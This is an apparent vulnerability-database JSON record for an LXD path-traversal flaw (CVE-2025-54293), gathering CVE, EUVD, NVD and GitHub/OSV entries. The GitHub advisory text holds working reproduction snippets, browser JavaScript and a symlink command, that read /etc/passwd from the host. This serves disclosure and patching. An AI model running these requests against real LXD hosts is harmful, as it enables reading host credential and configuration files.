{"id":"GHSA-472f-vmf2-pr3h","revision":null,"records":[{"revision":"babc09b9a1234ba9a06193aa77fd0d31","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-54293","aliases":[],"title":"Path Traversal in LXD Instance Log File Retrieval","description":"Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.","state":0,"publishedAt":"2025-10-02T10:43:58.246+00:00","modifiedAt":"2025-10-02T15:53:20.364+00:00","affected":[{"ecosystem":"Vendor product","name":"LXD","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"defaultStatus\": \"unaffected\",\n                    \"product\": \"LXD\",\n                    \"repo\": \"https://github.com/canonical/lxd\",\n                    \"vendor\": \"Canonical\",\n                    \"versions\": [\n                        {\n                            \"lessThan\": \"6.5\",\n                            \"status\": \"affected\",\n                            \"version\": \"6.0\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"lessThan\": \"5.21.4\",\n                            \"status\": \"affected\",\n                            \"version\": \"5.21\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-472f-vmf2-pr3h"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-54293","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-54293","identifiers":["CVE-2025-54293"]},"retained":false,"historicalAffected":[]},{"revision":"4ccb32dbcae3498a923fb5b9a213da13","observedAt":"2026-11-09T03:10:05.58+00:00","statement":{"source":"euvd","id":"EUVD-2025-32640","aliases":["CVE-2025-54293","GHSA-472f-vmf2-pr3h"],"title":"Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.","description":"Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":7.1,"severity":null}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-472f-vmf2-pr3h"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-32640","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 2, 2025, 10:43:58 AM","dateUpdated":"Oct 2, 2025, 3:53:20 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2025:15710-1","title":"govulncheck-vulndb-0.0.20251105T184115-1.1 on GA media","vulnerabilityIds":["CVE-2016-11063","CVE-2016-11066","CVE-2016-11067","CVE-2016-11068","CVE-2016-11069","CVE-2016-11070","CVE-2016-11071","CVE-2016-11072","CVE-2016-11073","CVE-2016-11074","CVE-2016-11075","CVE-2016-11076","CVE-2016-11077","CVE-2016-11078","CVE-2016-11079","CVE-2016-11080","CVE-2016-11081","CVE-2016-11082","CVE-2016-11083","CVE-2016-11084","CVE-2017-18872","CVE-2023-32199","CVE-2024-58269","CVE-2025-10545","CVE-2025-10678","CVE-2025-10954","CVE-2025-11374","CVE-2025-11375","CVE-2025-11579","CVE-2025-11621","CVE-2025-12044","CVE-2025-26625","CVE-2025-27093","CVE-2025-41410","CVE-2025-41443","CVE-2025-54286","CVE-2025-54287","CVE-2025-54288","CVE-2025-54289","CVE-2025-54290","CVE-2025-54291","CVE-2025-54293","CVE-2025-54469","CVE-2025-54470","CVE-2025-54471","CVE-2025-54499","CVE-2025-58073","CVE-2025-58075","CVE-2025-58356","CVE-2025-59043","CVE-2025-59048","CVE-2025-59530","CVE-2025-59836","CVE-2025-59937","CVE-2025-61141","CVE-2025-61524","CVE-2025-61581","CVE-2025-61688","CVE-2025-62156","CVE-2025-62157","CVE-2025-62375","CVE-2025-62506","CVE-2025-62513","CVE-2025-62705","CVE-2025-62714","CVE-2025-62725","CVE-2025-62820","CVE-2025-64101","CVE-2025-64102","CVE-2025-64103"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-32640","identifiers":["EUVD-2025-32640","CVE-2025-54293","GHSA-472f-vmf2-pr3h"]},"retained":false,"historicalAffected":[]},{"revision":"c1b03130834f40cda5ceed0f64902cb3","observedAt":"2026-10-25T02:25:06.051+00:00","statement":{"source":"nvd","id":"CVE-2025-54293","aliases":[],"title":"Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.","description":"Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.","state":0,"publishedAt":"2025-10-02T11:15:30.54+00:00","modifiedAt":"2026-10-12T15:10:00.207+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security@ubuntu.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-472f-vmf2-pr3h"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-54293","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*","cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"],"sourceDates":{"published":"2025-10-02T11:15:30.540","lastModified":"2026-10-12T15:10:00.207"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-54293","identifiers":["CVE-2025-54293"]},"retained":false,"historicalAffected":[]},{"revision":"9b9ae266a63442bbb261d52651ae5324","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-472f-vmf2-pr3h","aliases":["CVE-2025-54293","GO-2025-4000"],"title":"Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function","description":"### Impact\nAlthough outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.\n\nThis vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier. \n\nHowever, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.\n\nImplementation in vulnerable versions (LXD 5.0 LTS series):\n\nhttps://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163\n\nThis function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:\n\nImplementation in fixed versions (LXD 5.21 and later):\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L665-L679\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835\n\nThis function ensures that filenames do not contain /, \\, or .. .\n\nNote that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't\nsucceed. \n\nHowever, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.\n\nRelated part of instanceLogGet function:\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L218-L269\n\nRelated part of instanceLogDelete function:\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L331-L347\n\nIn the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.\n\n### Reproduction Steps\n\nAll reproduction steps for this finding must be performed on LXD 5.0.\n\n1. Log in with an account having access to LXD-UI\n2. Open browser DevTools and execute the following JavaScript to attempt path traversal\nattack:\n\n```js\n(async () => {\nconst projectName = prompt(\"Enter target project name:\");\nconst instanceName = prompt(\"Enter target instance\nname:\");\nconst maliciousLogFile =\nencodeURIComponent('snapshot_../../../../../../../../../../etc\n/passwd');\nconst response = await\nfetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}\n?project=${projectName}`, {\nmethod: 'GET',\ncredentials: 'include'\n});\nconst content = await response.text();\nconsole.log(content);\n})();\n```\n\n### Description (2)\nA similar issue also exists in the validExecOutputFileName function:\n\nhttps://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L681-L688\n\nFor exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified.\nHowever, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.\n\n### Reproduction Steps (2)\n\n1. Open terminal in instance using LXD-UI and create symbolic link:\n\n```\nln -s /etc/passwd exec_XXX-symlink.stdout\n```\n\n2. Execute the following JavaScript in browser DevTools to read files via symbolic link:\n\n```js\n(async () => {\nconst projectName = prompt(\"Enter target project name:\");\nconst instanceName = prompt(\"Enter target instance\nname:\");\nconst maliciousExecFile =\nencodeURIComponent(`exec_../../../../../../../../../../../var/\nsnap/lxd/common/lxd/storage-pools/${projectName}/containers/${\ninstanceName}/rootfs/root/exec_XXX-symlink.stdout`);\nconst response = await\nfetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic\niousExecFile}?project=${projectName}`, {\nmethod: 'GET',\ncredentials: 'include'\n});\nconst content = await response.text();\nconsole.log(content);\n})();\n```\n\nThis technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.\n\n### Risk\nThis vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host. \n\nThis could lead to leakage of the following information:\n-​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.)\n-​ LXD database files (containing information about all projects and instances)\n-​ Configuration files and data of other instances\n-​ Sensitive information on the host system\n\n### Countermeasures\nSince this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:\n\n### Patches\n\n| LXD Series  | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5  |\n| 5.21 | Fixed in LXD 5.21.4  |\n| 5.0 | Ignored - Not critical |\n| 4.0  | Ignored - Not critical  |\n\n### References\nReported by GMO Flatt Security Inc.","state":0,"publishedAt":"2025-10-02T21:15:53+00:00","modifiedAt":"2026-09-10T03:50:29.1763609+00:00","affected":[{"ecosystem":"Go","name":"github.com/canonical/lxd","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"4.0"},{"kind":"fixed","version":"5.21.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/canonical/lxd","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"6.0"},{"kind":"fixed","version":"6.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-20200331193331-03aab09f5b5c"},{"kind":"fixed","version":"0.0.0-20250224180022-ec09b24179f3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-472f-vmf2-pr3h","https://nvd.nist.gov/vuln/detail/CVE-2025-54293","https://github.com/canonical/lxd/pull/15022","https://github.com/canonical/lxd","https://pkg.go.dev/vuln/GO-2025-4000"],"sourceUrl":"https://github.com/advisories/GHSA-472f-vmf2-pr3h","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-472f-vmf2-pr3h","identifiers":["GHSA-472f-vmf2-pr3h","CVE-2025-54293","GO-2025-4000"]},"retained":false,"historicalAffected":[]},{"revision":"afc6912b44f94077b14d399fb2f5a1ac","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2025-4000","aliases":["CVE-2025-54293","GHSA-472f-vmf2-pr3h"],"title":"Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function in github.com/canonical/lxd","description":"Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function in github.com/canonical/lxd","state":0,"publishedAt":"2025-11-05T18:41:07+00:00","modifiedAt":"2025-11-05T19:57:35.603815+00:00","affected":[{"ecosystem":"Go","name":"github.com/canonical/lxd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-20200331193331-03aab09f5b5c"},{"kind":"fixed","version":"0.0.0-20250224180022-ec09b24179f3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-472f-vmf2-pr3h","https://github.com/canonical/lxd/pull/15022"],"sourceUrl":"https://osv.dev/vulnerability/GO-2025-4000","license":"OSV · upstream source license applies","key":"osv:GO-2025-4000","identifiers":["GO-2025-4000","CVE-2025-54293","GHSA-472f-vmf2-pr3h"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T10:21:23.1769119+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T10:21:23.1769119+00:00","lastSuccessAt":"2026-11-10T10:21:23.4268898+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.4268987+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-8bdcdeeb414e06ff50ed637d818ac25d52680d19f71fc0ebe3f4c4b3f836ed38","complete":true,"records":421927,"lastAttemptAt":"2026-11-10T10:21:22.8157744+00:00","lastSuccessAt":"2026-11-10T09:21:38.1064889+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:22.8157744+00:00","snapshotPublishedAt":"2026-11-10T09:20:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T10:21:50.2500014+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T10:21:23.1769119+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T10:21:23.1769119+00:00","lastSuccessAt":"2026-11-10T10:21:23.4276529+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.4276532+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b0b0499af228434598651aa5d221386e","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T10:21:49.6403901+00:00","lastSuccessAt":"2026-11-10T10:21:49.637+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T10:21:49.637+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T10:21:23.1241572+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.1241572+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T10:21:22.8858542+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:22.8858542+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T10:21:23.1397622+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.1397622+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-4331051b0b2d4ccdbdca3aa196b0be3818a465064a4b18dde4cf39c2250eb490","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T10:21:23.0142877+00:00","lastSuccessAt":"2026-11-10T08:04:37.1757322+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.0142877+00:00","snapshotPublishedAt":"2026-11-10T07:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}